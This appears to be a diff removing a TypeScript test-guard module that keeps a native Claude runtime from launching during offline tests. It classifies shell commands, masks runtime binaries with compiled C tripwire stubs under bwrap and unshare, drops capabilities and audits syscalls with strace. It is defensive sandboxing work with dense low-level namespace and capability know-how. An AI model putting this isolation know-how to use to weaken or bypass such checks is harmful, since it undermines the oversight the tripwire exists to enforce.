if(isNativeClaude(argv[0]!,argv.slice(1),context))return true; - const shells=new Set();for(const path of ["/bin/sh","/bin/bash","/bin/dash","/usr/bin/zsh"]){try{shells.add(realpathSync(path));}catch{}} - const literal=(text:string):string|undefined=>{ - const match=/^(?:'([^']*)'|"([^"$`\\]*)"|([^\s'"$`\\;&|<>(){}\[\]*?~]+))(?=\s|[;&|)]|$)/.exec(text.trimStart()); - return match?.[1]??match?.[2]??match?.[3]; - }; - for(let i=0;ishape.script===script); - if(wrapper){ - let payload:readonly string[]|undefined; - if(wrapper.kind==="args"&&argv[flag+2]===wrapper.marker&&argv.length>flag+3)payload=argv.slice(flag+3); - if(wrapper.kind==="status"&&argv[flag+2]===wrapper.marker&&argv.length>flag+5)payload=argv.slice(flag+5); - if(wrapper.kind==="probe"&&argv.length===flag+4)payload=[argv[flag+2]!,"--no-env-file","-e",argv[flag+3]!]; - if(wrapper.kind==="zero"&&argv.length>flag+2)payload=argv.slice(flag+2); - if(!payload)return true; - let target:string;try{target=realpathSync(resolveExecutable(payload[0]!,context));}catch{return true;} - if(nativeWorkerArgvNeedsIsolation([target,...payload.slice(1)],context,depth+1))return true;continue; - } - if(/(?:^|[;&|()\n])\s*(?:eval|source|\.)\s/.test(script))return true; - for(const token of script.matchAll(/[^\s'";&|<>(){}\[\]]+/g))if(isNativeClaude(token[0],[],context))return true; - const execs=[...script.matchAll(/(?:^|[;&|()\n])\s*exec(?:\s+|$)/g)]; - for(const match of execs){ - const rest=script.slice(match.index!+match[0].length),target=literal(rest); - if(!target||target.startsWith("-"))return true; - try{resolveExecutable(target,context);}catch{return true;} - if(isNativeClaude(target,[],context))return true; - // An env/interpreter chain with dynamic words cannot establish a safe target. - const words=rest.split(/[;&|\n]/,1)[0]!; - if(/[$`]/.test(words))return true; - const tokens:string[]=[];let remaining=words.trim(); - while(remaining){ - const token=/^(?:'([^']*)'|"([^"$`\\]*)"|([^\s'"$`\\;&|<>(){}\[\]*?~]+))(?=\s|$)/.exec(remaining); - if(!token)return true;tokens.push(token[1]??token[2]??token[3]!);remaining=remaining.slice(token[0].length).trimStart(); - } - if(nativeWorkerArgvNeedsIsolation(tokens,context,depth+1))return true; - } - if(!execs.length){ - const target=literal(script);if(!target)return true; - if(["eval","source","."].includes(target))return true; - if(!["printf","echo","exit","return","true","false","read","test","[","cd","pwd","set","export","unset","umask","trap","wait","kill","shift",":"].includes(target)){ - try{resolveExecutable(target,context);}catch{return true;} - if(isNativeClaude(target,[],context))return true; - } - } - } - return false; -} - - -export type NativeWorkerClassification="native"|"unknown"|"non-native"; -/** Native evidence wins; unknown shell syntax selects the tripwire, never authority. */ -export function nativeWorkerClassification(argv:readonly string[],context:SpawnContext={}):NativeWorkerClassification { - return guardTiming("classification",()=>nativeWorkerClassificationInspected(argv,context)); -} -function nativeWorkerClassificationInspected(argv:readonly string[],context:SpawnContext):NativeWorkerClassification { - if(isNativeClaude(argv[0]??"",argv.slice(1),context))return "native"; - for(let i=0;i(){}\[\]]+/g))if(isNativeClaude(token[0],[],context))return "native"; - } - // Bun entrypoints receive the test preload at the spawn interceptor. Shell - // syntax in their positional data is classified when they actually spawn it, - // rather than placing the preloaded caller in an extra mount namespace. - try{if((argv[0]===process.execPath||basename(argv[0]??"")==="bun")&&resolveExecutable(argv[0]!,context)===realpathSync(process.execPath))return "non-native";}catch{/* Unresolved entrypoints remain unknown. */} - return nativeWorkerArgvNeedsIsolation(argv,context)?"unknown":"non-native"; -} -/** A missing runtime spelling cannot execute. Other metadata failures are uncertain. */ -export function nativeExistingRuntimeMaskPaths(candidates:readonly string[]):string[]{ - const paths=new Set(); - for(const path of candidates){ - try{const canonical=realpathSync(path);if(!isAbsolute(canonical))continue;statSync(canonical);paths.add(path);paths.add(canonical);} - catch(error){if((error as NodeJS.ErrnoException).code!=="ENOENT")throw error;} - } - return [...paths].sort(); -} -let runtimeMaskFindings:{key:string;paths:readonly string[]}|undefined,maskFindingReuses=0; -export function nativeFixtureSetupCounts():{maskReuses:number}{return {maskReuses:maskFindingReuses};} -export function nativeTripwireMaskPaths(context:SpawnContext={}):string[]{ - const candidates=installedRuntimes.flatMap(entry=>[entry.path,...entry.aliases??[]]); - const key=JSON.stringify(candidates.map(path=>{try{const real=realpathSync(path);return [path,fixturePathKey(path),real,fixturePathKey(real)];}catch(error){if((error as NodeJS.ErrnoException).code==="ENOENT")return [path,"missing"];throw error;}})); - if(runtimeMaskFindings?.key===key)maskFindingReuses++; - else runtimeMaskFindings={key,paths:Object.freeze(nativeExistingRuntimeMaskPaths(candidates))}; - const paths=new Set(runtimeMaskFindings.paths); - const selected=context.env?.CLAUDE_CODE_PATH??process.env.CLAUDE_CODE_PATH; - if(selected&&isNativeClaude(selected,[],context)){paths.add(resolve(context.cwd??process.cwd(),selected));paths.add(resolveExecutable(selected,context));} - return [...paths].sort(); -} -/** Namespace supervisors are matched before any fixture script can execute. */ -export const nativeProductNamespaceWrappers=[{name:"copied-output-keeper",script:'"$4" -i -n -t tmpfs -o "size=$3,mode=700" tmpfs "$2" && mkdir "$2/upper" "$2/work" "$2/merged" && "$4" -i -n -t overlay overlay -o "lowerdir=$1,upperdir=$2/upper,workdir=$2/work,userxattr" "$2/merged" || exit 126; printf "ready\\n"; IFS= read -r go; exit 0',prefix:["--user","--map-root-user","--mount","--net","--ipc","--uts","--fork","--kill-child=SIGKILL"]}] as const; -function unknownProductUnshare(command:readonly string[],context:SpawnContext):boolean { - const row=nativeProductNamespaceWrappers[0];let selected=false; - try{selected=resolveExecutable(command[0]!,context)===realpathSync("/usr/bin/unshare");}catch{return false;} - if(!selected)return false; - const shell=1+row.prefix.length; - const matches=command.length===17&&row.prefix.every((word,i)=>command[i+1]===word)&&command[shell+1]==="-c"&&command[shell+2]===row.script&&command[shell+3]==="brain-output-keeper"; - if(!matches){if(command.includes("brain-output-keeper"))refuse("restriction cannot be enforced");return false;} - try{if(resolveExecutable(command[shell]!,context)!==realpathSync("/bin/sh")||resolveExecutable(command.at(-1)!,context)!==realpathSync("/usr/bin/mount"))refuse("restriction cannot be enforced");return true;}catch{refuse("restriction cannot be enforced");} -} -/** Exact test-manager supervisor: no code or lookup runs before its argv exec. */ -export const NATIVE_FIXTURE_FORK_EXEC = 'import os,sys\nif os.fork(): os._exit(0)\nos.execvp(sys.argv[1],sys.argv[1:])'; -function unknownBwrapPosition(command:readonly string[],bwrap:string,context:SpawnContext):number { - let start=0; - const same=(value:string|undefined,expected:string)=>{try{return !!value&&resolveExecutable(value,context)===realpathSync(expected);}catch{return false;}}; - if(same(command[0],"/usr/bin/python3")&&command[1]==="-I"&&command[2]==="-S"&&command[3]==="-c"&&command[4]===NATIVE_FIXTURE_FORK_EXEC)start=5; - const index=nativeBwrapIndex(command.slice(start)); - if(index>=0&&same(command[start+index],bwrap))return start+index; - // The status script never reads $0. Its fixture marker is data, while the - // byte-exact product script, own FIFO descriptors and actual bwrap are proof. - const status=nativeProductShellWrappers.find(row=>row.kind==="status")!; - const ownFifo=(path:string|undefined)=>{try{return !!path&&new RegExp(`^/proc/${process.pid}/fd/[0-9]+$`).test(path)&&statSync(path).isFIFO();}catch{return false;}}; - if(start===0&&same(command[0],"/bin/sh")&&command[1]==="-c"){ - if(command[2]===status.script&&command.slice(4,6).length===2&&command.slice(4,6).every(ownFifo)&&same(command[6],bwrap))return 6; - // The status-only fixture opens one owned FIFO, then execs the exact argv. - if(command[2]==='exec 3>"$1"; shift; exec "$@"'&&ownFifo(command[4])&&same(command[5],bwrap))return 5; - } - // A concrete sandbox behind an unproven exec prefix cannot be moved ahead - // of the tripwire. In particular, never put masks after arbitrary shell code. - if(command.some(value=>same(value,bwrap)))refuse("restriction cannot be enforced"); - return -1; -} -function unknownBwrapPayload(command:readonly string[],at:number):number { - const zero=new Set(["--unshare-all","--unshare-user","--unshare-user-try","--unshare-ipc","--unshare-pid","--unshare-net","--unshare-uts","--unshare-cgroup","--unshare-cgroup-try","--disable-userns","--assert-userns-disabled","--clearenv","--new-session","--die-with-parent","--as-pid-1"]); - const one=new Set(["--uid","--gid","--hostname","--chdir","--unsetenv","--lock-file","--sync-fd","--remount-ro","--proc","--dev","--tmpfs","--mqueue","--dir","--seccomp","--add-seccomp-fd","--block-fd","--userns-block-fd","--info-fd","--json-status-fd","--cap-add","--cap-drop","--perms","--size"]); - const two=new Set(["--setenv","--bind","--bind-try","--dev-bind","--dev-bind-try","--ro-bind","--ro-bind-try","--bind-fd","--ro-bind-fd","--file","--bind-data","--ro-bind-data","--symlink","--chmod"]); - let i=at+1; - for(;i=command.length)refuse("restriction cannot be enforced");i+=1+count; - } - return refuse("restriction cannot be enforced"); -} -/** The fixed terminal credential hand-off, discovered from the real proof. */ -export function nativeProductUidHandoffs():string[][] { - const source=readFileSync(join(ROOT,"scripts/native-proof/reference-pool.native.ts"),"utf8"); - const rows=[...source.matchAll(/"--", ("\/usr\/bin\/setpriv", (?:"[^"]+", )+)script\]/g)]; - if(rows.length!==2)throw Error("Product UID hand-off unavailable"); - return rows.map(row=>{const words:unknown=JSON.parse("["+row[1]!.replace(/, $/,"")+"]"); - if(!Array.isArray(words)||words.length!==6||words[0]!=="/usr/bin/setpriv"||!/^--reuid=[1-9][0-9]*$/.test(words[1])||!/^--regid=[1-9][0-9]*$/.test(words[2])||!["--clear-groups","--groups=0"].includes(words[3])||words[4]!=="/bin/sh"||words[5]!=="-c")throw Error("Product UID hand-off changed"); - return words;}); -} -function unknownProductCapabilities(payload:readonly string[]):string[] { - const denied=["--cap-drop","ALL"]; - if(payload.length!==7||payload[0]!=="/usr/bin/setpriv")return denied; - if(nativeKernelIdentity().uid!==0||readFileSync("/proc/self/uid_map","utf8").trim().split(/\s+/).join(" ")!=="0 0 4294967295")return denied; - let allowed=false;try{allowed=nativeProductUidHandoffs().some(prefix=>payload.length===prefix.length+1&&prefix.every((word,i)=>payload[i]===word));}catch{/* Unproven hand-offs keep every capability dropped. */} - return allowed - ?[...denied,"--cap-add","CAP_SETUID","--cap-add","CAP_SETGID"]:denied; -} -const TRIPWIRE_SETUP_RECORD='{"kind":"native-offline-boundary","success":false,"nativeLaunched":false,"reason":"restriction cannot be enforced"}\n'; -const TRIPWIRE_RECORD='{"kind":"native-offline-boundary","success":false,"nativeLaunched":false,"reason":"installed native runtime blocked by tripwire"}\n'; -interface TripwireRuntime {directory:string;stub:string;eventTarget:string;installer:string;supervisor:string;keys:ReadonlyMap;hashes:ReadonlyMap} -let tripwireRuntime:TripwireRuntime|undefined; -const tripwireFinalizers=new Set<()=>void>(); -function prepareTripwireRuntime():TripwireRuntime { - if(tripwireRuntime){for(const [path,key] of tripwireRuntime.keys)if(fixturePathKey(path)!==key)refuse("shared runtime mask setup changed");return tripwireRuntime;} - const directory=mkdtempSync(join(GUARD_TMPDIR,"odysseus-native-mask-runtime-")),stub=join(directory,"tripwire"),eventTarget=join(directory,"event"),installer=join(directory,"install-masks"),supervisor=join(directory,"supervisor"); - chmodSync(directory,0o700);writeFileSync(eventTarget,"",{mode:0o600}); - const stubSource=`#define _GNU_SOURCE\n#include \n#include \nint main(void){const char record[]=${JSON.stringify(TRIPWIRE_RECORD)};int fd=open(${JSON.stringify(eventTarget)},O_WRONLY|O_APPEND|O_NOFOLLOW);if(fd>=0){(void)write(fd,record,sizeof(record)-1);(void)close(fd);}const char message[]="Offline native runtime refused by tripwire\\n";(void)write(2,message,sizeof(message)-1);return 126;}\n`; - const installerSource=String.raw`#define _GNU_SOURCE -#include -#include -#include -#include -#include -#include -#include -#include -static int readonly_bind(const char *source,const char *target){struct statvfs st;if(statvfs(target,&st))return -1;unsigned long flags=MS_BIND|MS_REMOUNT|MS_RDONLY;if(st.f_flag&ST_NOSUID)flags|=MS_NOSUID;if(st.f_flag&ST_NODEV)flags|=MS_NODEV;if(st.f_flag&ST_NOEXEC)flags|=MS_NOEXEC;return mount(source,target,0,MS_BIND,0)||mount(0,target,0,flags,0)?-1:0;} -int main(int argc,char **argv){ - if(argc<8)return 125; - char *end=0;long count=strtol(argv[5],&end,10);if(!end||*end||count<0||count>1024||argc<8+count||strcmp(argv[6+count],"--"))return 125; - int evidence=open(argv[2],O_WRONLY|O_APPEND|O_NOFOLLOW|O_CLOEXEC);if(evidence<0)return 125; - char log[4096];if(snprintf(log,sizeof(log),"%s/exec.log",argv[4])>=(int)sizeof(log)||fcntl(202,F_GETFD)>=0)return 125;int audit=open(log,O_WRONLY|O_APPEND|O_NOFOLLOW|O_CLOEXEC);if(audit<0||dup2(audit,202)<0)return 125;close(audit); - char event[4096];int failed=snprintf(event,sizeof(event),"%s/event",argv[3])>=(int)sizeof(event); - if(!failed)failed=readonly_bind(argv[4],argv[4])||readonly_bind(argv[3],argv[3])||mount(argv[2],event,0,MS_BIND,0)||mount(0,event,0,MS_BIND|MS_REMOUNT|MS_NOSUID|MS_NODEV,0); - for(long i=0;i -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -/* Private supervisor status, closed before any fixture executable. */ -#define STATUS_MAGIC 0x4f445953 -struct outcome { uint32_t magic; int code; int signal; }; -static const int forwarded[]={SIGTERM,SIGINT,SIGHUP,SIGQUIT,SIGUSR1,SIGUSR2,SIGPIPE,SIGALRM}; -static int send_signal(int pidfd,pid_t pid,int signal){if(pidfd>=0)return syscall(SYS_pidfd_send_signal,pidfd,signal,0,0);return kill(pid,signal);} -static void result_exit(int status){if(WIFSIGNALED(status)){int signal=WTERMSIG(status);struct sigaction action={.sa_handler=SIG_DFL};sigaction(signal,&action,0);sigset_t mask;sigemptyset(&mask);sigaddset(&mask,signal);sigprocmask(SIG_UNBLOCK,&mask,0);kill(getpid(),signal);_exit(128+signal);} _exit(WIFEXITED(status)?WEXITSTATUS(status):125);} -static int mask_signals(sigset_t *previous){sigset_t mask;sigemptyset(&mask);sigaddset(&mask,SIGCHLD);for(size_t i=0;i1&&prctl(PR_SET_PDEATHSIG,SIGKILL,0,0,0)==0&&getppid()==expected?0:-1;} -static int await_child(pid_t child,int signals,int info,int terminal,int payload,int *trusted){ - int targetfd=-1,status=0,done=0;pid_t target=payload?child:0;int queued[64],queued_count=0;char text[16384];size_t used=0; - struct outcome result={0};size_t received=0; - if(target)targetfd=syscall(SYS_pidfd_open,target,0); - for(;;){ - pid_t waited=waitpid(child,&status,WNOHANG);if(waited==child)done=1;else if(waited<0&&errno!=EINTR)return -1; - struct pollfd descriptors[3]={{signals,POLLIN,0},{info,info>=0?POLLIN:0,0},{terminal,terminal>=0?POLLIN:0,0}}; - if(poll(descriptors,3,done?0:20)<0&&errno!=EINTR)return -1; - if(info>=0&&(descriptors[1].revents&(POLLIN|POLLHUP))){ - ssize_t n=read(info,text+used,sizeof(text)-used-1);if(n>0){used+=(size_t)n;text[used]=0;char *key=strstr(text,"\"child-pid\"");if(key&&!target){char *colon=strchr(key,':'),*end=0;long value=colon?strtol(colon+1,&end,10):0;if(value<=1||value>2147483647||!end)return -1;target=(pid_t)value;targetfd=syscall(SYS_pidfd_open,target,0);if(targetfd<0&&!done)return -1;}} - else if(n<0&&errno!=EINTR&&errno!=EAGAIN)return -1; - if(used==sizeof(text)-1&&!target)return -1; - } - if(terminal>=0&&(descriptors[2].revents&(POLLIN|POLLHUP))&&received0)received+=(size_t)n;else if(n<0&&errno!=EINTR&&errno!=EAGAIN)return -1; - } - if(descriptors[0].revents&POLLIN){struct signalfd_siginfo event;while(read(signals,&event,sizeof(event))==sizeof(event)){if(event.ssi_signo!=SIGCHLD){if(target){if(send_signal(targetfd,target,(int)event.ssi_signo)&&errno!=ESRCH)return -1;}else if(queued_count<64)queued[queued_count++]=(int)event.ssi_signo;else return -1;}}} - if(target){for(int i=0;i=0)close(targetfd);if(payload){*trusted=1;return status;} - if(received==sizeof(result)&&result.magic==STATUS_MAGIC&&result.code>=0&&result.code<=255&&result.signal>=0&&result.signal=3&&!strcmp(argv[1],"exec")){close(202);execvp(argv[2],argv+2);return errno==ENOENT?127:126;} - if(argc<4)return 125; - sigset_t previous;int signals=mask_signals(&previous);if(signals<0)return 125; - if(!strcmp(argv[1],"payload")){ - close(202);int terminal=atoi(argv[2]);if(terminal<3||fcntl(terminal,F_SETFD,FD_CLOEXEC)||parent_tie(getppid())||prctl(PR_SET_DUMPABLE,0,0,0,0))return 125; - pid_t owner=getpid(),child=fork();if(child<0)return 125; - if(!child){close(terminal);close(signals);if(parent_tie(owner))_exit(125);sigprocmask(SIG_SETMASK,&previous,0);execvp(argv[3],argv+3);_exit(errno==ENOENT?127:126);} - int trusted=0,status=await_child(child,signals,-1,-1,1,&trusted);if(status<0){kill(child,SIGKILL);waitpid(child,0,0);return 125;} - struct outcome result={STATUS_MAGIC,WIFEXITED(status)?WEXITSTATUS(status):0,WIFSIGNALED(status)?WTERMSIG(status):0};if(write(terminal,&result,sizeof(result))!=sizeof(result))return 125;close(terminal);return 0; - } - if(argc<5||strcmp(argv[1],"supervise")||strcmp(argv[3],"--"))return 125; - int audit=open(argv[2],O_WRONLY|O_APPEND|O_NOFOLLOW|O_CLOEXEC);if(audit<0)return 125; - /* Do not overwrite any declared fixture descriptor. */ - if(fcntl(200,F_GETFD)>=0||fcntl(201,F_GETFD)>=0||fcntl(202,F_GETFD)>=0)return 125; - int info[2],terminal[2];if(pipe2(info,O_CLOEXEC|O_NONBLOCK)||pipe2(terminal,O_CLOEXEC|O_NONBLOCK))return 125; - if(prctl(PR_SET_DUMPABLE,0,0,0,0))return 125; - pid_t owner=getpid(),child=fork();if(child<0)return 125; - if(!child){ - close(info[0]);close(terminal[0]);if(dup2(info[1],200)<0||dup2(terminal[1],201)<0||dup2(audit,202)<0)_exit(125);close(info[1]);close(terminal[1]);close(audit);close(signals); - if(parent_tie(owner))_exit(125);sigprocmask(SIG_SETMASK,&previous,0);execvp(argv[4],argv+4);_exit(errno==ENOENT?127:126); - } - close(audit);close(info[1]);close(terminal[1]);int trusted=0,status=await_child(child,signals,info[0],terminal[0],0,&trusted); - if(!trusted){char event[4096];char *slash=strrchr(argv[2],'/');if(slash&&(size_t)(slash-argv[2])+7=0){const char record[]="{\"kind\":\"native-offline-boundary\",\"success\":false,\"nativeLaunched\":false,\"reason\":\"restriction cannot be enforced\"}\n";(void)write(fd,record,sizeof(record)-1);close(fd);}}} - if(status<0){kill(child,SIGKILL);waitpid(child,0,0);return 125;}result_exit(status); -} -`; - try{ - for(const [target,source] of [[stub,stubSource],[installer,installerSource],[supervisor,supervisorSource]]){ - const compiled=metadataSpawnSync(["cc","-static","-Os","-std=c11","-x","c","-","-o",target!],{stdin:Buffer.from(source!),stdout:"pipe",stderr:"pipe",env:{PATH:"/usr/bin:/bin",LANG:"C"},timeout:30000}); - if(compiled.exitCode!==0)refuse("restriction cannot be enforced",undefined,compilerDiagnostic(String(compiled.stderr)));chmodSync(target!,0o555); - } - tripwireRuntime={directory,stub,eventTarget,installer,supervisor,keys:new Map([directory,stub,installer,supervisor].map(path=>[path,fixturePathKey(path)])),hashes:new Map([stub,installer,supervisor].map(path=>[path,fileHash(path)]))}; - process.prependOnceListener("exit",()=>{for(const finish of [...tripwireFinalizers])finish();rmSync(directory,{recursive:true,force:true});}); - return tripwireRuntime; - }catch(error){rmSync(directory,{recursive:true,force:true});throw error;} -} - -/** Unknown code receives neither native receipt descriptors nor provider authority. */ -export function nativeUnknownBoundary(command:readonly string[],options:SpawnContext={},workerUid?:number,preserveProductPlan=false) { - return guardTiming("mask-setup",()=>fixtureWalk(()=>nativeUnknownBoundaryInWalk(command,options,workerUid,preserveProductPlan))); -} -function nativeUnknownBoundaryInWalk(command:readonly string[],options:SpawnContext,workerUid:number|undefined,preserveProductPlan:boolean) { - // The loader runs before bwrap can install any bind. Preserve the payload's - // environment, but refuse a bootstrap whose loader could replace our tools. - if(Object.entries(options.env??process.env).some(([key,value])=>value&&/^(?:LD_|DYLD_)/.test(key)))refuse("restriction cannot be enforced"); - // A missing entrypoint cannot run: retain the ordinary spawn ENOENT instead - // of turning a deliberate missing-driver fixture into an isolation refusal. - resolveExecutable(command[0]!,options); - const fixedProbe=metadataProbeMaskPlans.has(command),shared=prepareTripwireRuntime(),stub=shared.stub,directory=mkdtempSync(join(GUARD_TMPDIR,"odysseus-native-tripwire-")),event=join(directory,"event"),log=join(directory,"exec.log"); - writeFileSync(event,"",{mode:0o600});writeFileSync(log,"",{mode:0o600}); - let complete=false,failed=false,auditUnavailable=false,disposing=false,timer:ReturnType|undefined;let forkOwner:{pid:number;start:string}|undefined; - const report=(reason:string,stage?:"stub-identity"|"tripwire-record",errno?:string)=>{if(failed)return;failed=true;denied++;process.exitCode=1;nativeReceipt({kind:"native-offline-boundary",head:nativeTestHead(),classification:"unknown",restriction:"tripwire",success:false,nativeLaunched:false,reason,...(stage?{stage}:{}),...(errno&&["ENOENT","EACCES","EPERM","IDENTITY_CHANGED","INVALID_RECORD"].includes(errno)?{errno}:{} )});}; - let launchReady:ReturnType|undefined; - let outerAudit:ReturnType|undefined,sharedAudit:ReturnType; - const cleanup=()=>{clearInterval(timer);launchReady?.dispose();outerAudit?.close();sharedAudit?.dispose();rmSync(directory,{recursive:true,force:true});}; - try{ - const stamp=lstatSync(stub,{bigint:true}),masks=nativeTripwireMaskPaths(options),bwrap=metadataWhich("bwrap",{PATH:GUARD_TOOL_PATH}),strace=fixedProbe?undefined:metadataWhich("strace",{PATH:GUARD_TOOL_PATH}); - if(!bwrap||!masks.length)refuse("restriction cannot be enforced"); - if(workerUid!==undefined&&(!auditAcl("set",workerUid,directory,event)||!auditAcl("set",workerUid,directory,log)||!auditAcl("set",workerUid,shared.directory,shared.stub)||!auditAcl("set",workerUid,shared.directory,shared.installer)))refuse("restriction cannot be enforced"); - if(workerUid!==undefined){ - // The fixed ACL writer intentionally changes metadata. Accept that update - // only after re-inspecting the original compiled bytes, then pin its keys. - for(const [path,hash] of shared.hashes)if(fileHash(path)!==hash)refuse("shared runtime mask setup changed"); - shared.keys=new Map([...shared.keys.keys()].map(path=>[path,fixturePathKey(path)])); - } - const mounts=["--ro-bind",shared.directory,shared.directory,"--ro-bind",directory,directory,"--bind",event,shared.eventTarget,...Array.from(new Set(masks.map(path=>realpathSync(path)))).flatMap(path=>["--ro-bind",stub,path])]; - const install=(payload:readonly string[])=>[shared.installer,stub,event,shared.directory,directory,String(new Set(masks.map(path=>realpathSync(path))).size),...new Set(masks.map(path=>realpathSync(path))),"--",...payload]; - let argv=[...command];let statusIdentity:{source:string;dev:number;ino:number}|undefined;const at=unknownBwrapPosition(argv,bwrap,options),productUnshare=unknownProductUnshare(argv,options); - if(options.detached&&!options.synchronous&&at<0&&!productUnshare){try{launchReady=prepareNativeLaunchReadiness();}catch{refuse("restriction cannot be enforced");}mounts.push(...launchReady.mounts);} - const probeCommand=[bwrap,"--unshare-user","--cap-drop","ALL","--bind","/","/","--dev-bind","/dev","/dev",...mounts,"--","/usr/bin/true"]; - const probe=metadataSpawnSync(probeCommand,{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe",timeout:5000}); - if(probe.exitCode!==0)refuse("restriction cannot be enforced",undefined,compilerDiagnostic(String(probe.stderr))); - try{if(!fixedProbe){sharedAudit=borrowNativeAudit(reason=>report(reason));if(!sharedAudit&&strace)outerAudit=ownNativeAudit(log,strace);}}catch(error){refuse(error instanceof Error?error.message:"native outer audit ownership unavailable");} - const tracePrefix=strace&&!sharedAudit?[strace,"-D","-I","1","--kill-on-exit","-f","-qq","-s","0","-e","trace=connect,%process,kill,tgkill,pidfd_send_signal,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4","-o",log,"--"]:[]; - - const forkOwnerFile=at===5&&argv[4]===NATIVE_FIXTURE_FORK_EXEC?join(directory,"fork-owner"):undefined; - const forkOwnerDeadline=Date.now()+5000; - if(forkOwnerFile)argv[4]='import os,sys\npid=os.fork()\nif pid: os._exit(0)\nfd=os.open('+JSON.stringify(forkOwnerFile+".tmp")+',os.O_WRONLY|os.O_CREAT|os.O_EXCL|os.O_NOFOLLOW,0o600)\nstart=open("/proc/self/stat").read().rsplit(") ",1)[1].split()[19]\nos.write(fd,(str(os.getpid())+" "+start).encode())\nos.close(fd)\nos.rename('+JSON.stringify(forkOwnerFile+".tmp")+','+JSON.stringify(forkOwnerFile)+')\nos.execvp(sys.argv[1],sys.argv[1:])'; - if(at>=0){ - // The proven status prefix executes before masking. Shell startup hooks or - // imported functions would invalidate that exact-code proof. - if(argv.slice(0,at).some(value=>{try{return resolveExecutable(value,options)===realpathSync("/bin/sh");}catch{return false;}})&&Object.entries(options.env??process.env).some(([key,value])=>value&&/^(?:BASH_ENV|ENV|SHELLOPTS|BASHOPTS|BASH_FUNC_.*)$/.test(key)))refuse("restriction cannot be enforced"); - const separator=unknownBwrapPayload(argv,at);if(argv[separator]!=="--")argv.splice(separator,0,"--");if(separator!==argv.indexOf("--",at))refuse("restriction cannot be enforced"); - const originalRemounts=preserveProductPlan?[]:deferNativeReadOnlyRemounts(argv,at),end=argv.indexOf("--",at); - if(preserveProductPlan&&!argv.some((arg,index)=>arg==="--cap-drop"&&argv[index+1]==="ALL"))refuse("restriction cannot be enforced"); - argv.splice(end,0,...mounts,...(preserveProductPlan?[]:unknownProductCapabilities(argv.slice(end+1))),...originalRemounts); - // Keep diagnostic tooling outside the product view. A private /tmp may - // hide a locally installed tracer, while the actual payload still sees masks. - argv=[...tracePrefix,...argv]; - }else if(productUnshare){ - const shell=1+nativeProductNamespaceWrappers[0].prefix.length; - argv=[...argv.slice(0,shell),...install([...tracePrefix.map((word,index)=>index===tracePrefix.indexOf("-o")+1?"/proc/self/fd/202":word),shared.supervisor,"exec",...argv.slice(shell)])]; - // No tracer, mapper or helper child exists before the product's own fork. - }else { - // Move only a literal status-FIFO open before the user namespace. No fixture - // script runs until after mounting, and no /proc path is reopened within it. - const source=argv[4],prefix='exec 3>"$1"; '; - let fifo:import("node:fs").Stats|undefined; - if(argv[0]&&resolveExecutable(argv[0],options)===realpathSync("/bin/sh")&&argv[1]==="-c"&&argv[2]?.startsWith(prefix)){ - try{ - if(!source||!new RegExp(`^/proc/${process.pid}/fd/[0-9]+$`).test(source))throw Error("unowned FIFO"); - fifo=statSync(source); - if(!fifo.isFIFO()||fifo.uid!==nativeKernelIdentity().uid||fifo.nlink!==0||!/^.*\/brain-worker-status-[^/]+\/status \(deleted\)$/.test(readlinkSync(source)))throw Error("unowned FIFO"); - if(Object.entries(options.env??process.env).some(([key,value])=>value&&/^(?:BASH_ENV|ENV|SHELLOPTS|BASHOPTS|BASH_FUNC_.*)$/.test(key)))throw Error("shell startup"); - }catch{refuse("restriction cannot be enforced");} - statusIdentity={source:source!,dev:fifo!.dev,ino:fifo!.ino}; - argv[2]=argv[2]!.slice(prefix.length); - } - argv=[shared.supervisor,"supervise",log,"--",bwrap,"--unshare-user","--bind","/","/","--dev-bind","/dev","/dev",...mounts,"--json-status-fd","200","--die-with-parent","--cap-drop","ALL","--",...tracePrefix.map((word,index)=>index===tracePrefix.indexOf("-o")+1?"/proc/self/fd/202":word),shared.supervisor,"payload","201",...(launchReady?.wrap(argv)??argv)]; - if(fifo)argv=["/bin/sh","-c",'exec 3>"$1"; shift; exec "$@"',"brain-test-status-carrier",source!,...argv]; - } - const diagnosticUnavailable=()=>{if(auditUnavailable)return;auditUnavailable=true;nativeReceipt({kind:"native-offline-unknown-exec-audit",head:nativeTestHead(),status:"unavailable",diagnostic:true});}; - const inspect=(final=false)=>{ - let integrityStage:"stub-identity"|"tripwire-record"="stub-identity"; - try{ - const now=lstatSync(stub,{bigint:true});if(now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size||now.mtimeNs!==stamp.mtimeNs)throw Object.assign(Error("tripwire changed"),{code:"IDENTITY_CHANGED"}); - integrityStage="tripwire-record";const text=readFileSync(event,"utf8");if(text){const lines=text.split("\n").filter(Boolean);if(!lines.every(line=>line===TRIPWIRE_RECORD.trim()||line===TRIPWIRE_SETUP_RECORD.trim()))throw Object.assign(Error("tripwire record changed"),{code:"INVALID_RECORD"});report(lines.includes(TRIPWIRE_SETUP_RECORD.trim())?"restriction cannot be enforced":"installed native runtime blocked by tripwire");} - }catch(error){report("restriction cannot be enforced",integrityStage,(error as NodeJS.ErrnoException).code);return;} - if(!strace){diagnosticUnavailable();return;} - // Unknown-launch exec observation is diagnostic-only. A cancelled exec - // can leave a split syscall unfinished; it cannot undo the installed mask. - try{ - const bytes=sharedAudit?Buffer.from(sharedAudit.read()):readFileSync(log);if(bytes.length>8*1024*1024)throw Error("exec audit exceeded bound"); - const evidence=nativeExecTrace(bytes.toString("utf8")); - for(const exec of evidence.events){ - const file=resolve(options.cwd??process.cwd(),exec.path); - if(masks.includes(file)){report("installed native runtime blocked by tripwire");continue;} - if(isNativeClaude(exec.path,[],options))report("unregistered native runtime observed after unknown launch"); - } - if(final&&(evidence.counters.splitIncomplete||evidence.counters.splitAmbiguous))diagnosticUnavailable(); - }catch{diagnosticUnavailable();} - }; - if(!strace)diagnosticUnavailable(); - const ownerLive=():boolean=>{ - if(!forkOwnerFile)return false; - if(!forkOwner){ - try{const info=lstatSync(forkOwnerFile),text=readFileSync(forkOwnerFile,"utf8"),match=/^([1-9][0-9]*) ([1-9][0-9]*)$/.exec(text);if(!info.isFile()||info.uid!==nativeKernelIdentity().uid||info.nlink!==1||info.size>128||!match)throw Error("invalid fork owner");forkOwner={pid:Number(match[1]),start:match[2]!};} - catch(error){if((error as NodeJS.ErrnoException).code==="ENOENT"&&Date.now(){if(complete)return;if(!force&&ownerLive()){disposing=true;return;}complete=true;inspect(true);cleanup();tripwireFinalizers.delete(forceFinish);}; - const forceFinish=()=>finish(true);tripwireFinalizers.add(forceFinish); 